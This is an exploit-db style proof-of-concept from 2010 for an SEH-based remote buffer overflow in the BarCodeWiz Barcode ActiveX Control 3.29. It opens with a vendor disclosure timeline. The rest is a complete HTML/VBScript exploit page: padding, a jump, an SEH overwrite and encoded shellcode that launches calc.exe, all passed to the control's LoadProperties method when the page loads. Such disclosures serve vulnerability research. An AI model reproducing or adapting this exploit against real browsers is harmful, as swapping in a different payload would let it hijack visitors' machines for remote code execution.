Barcodewiz Barcode ActiveX Control 3.29 – Remote Buffer Overflow (SEH)
# BarCodeWiz Barcode ActiveX Control 3.29 BoF (SEH) # Bug found: 24th July 2010 # Author: loneferret # Software: http://www.barcodewiz.com/ # Nods to exploit-db.com # Vulnerable file BarCodeWiz.dll # LoadProperties method # Tested on: Windows XP Professional SP3 with Internet Explorer 6 # [Needs adjustment for Internet Explorer 7] # Vendor contacted: 24th July 2010 # Vendor first reply: 26th July 2010: Wanting more information # Vendor contacted: 26th July 2010: Sent 2 proof of concepts files # Vendor contacted: 29 July 2010: Asked for update # No Response from vendor: 30 July 2010 # Public Release : 30 July 2010 # # Shellcode calc.exe # ----HTML FILE FROM HERE ON----- <html> <object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='target'></object> <script language='vbscript'> buffer = String(97,"A") jmp = unescape("%eb%06%41%41") SEH = unescape("%4b%f4%02%10") shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47") shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38") shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e") shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54") shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33") shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a") shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43") shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49") shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a") buffer2 = String(1552, "C") arg1 = buffer + jmp + SEH + shellcode + buffer2 target.LoadProperties arg1 </script> Barcodewiz 3.29 </html> |